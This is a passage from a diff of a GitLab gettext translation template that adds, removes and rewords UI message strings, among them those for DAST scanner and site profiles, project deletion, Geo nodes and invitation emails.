msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12240,6 +12536,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,7 +14111,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
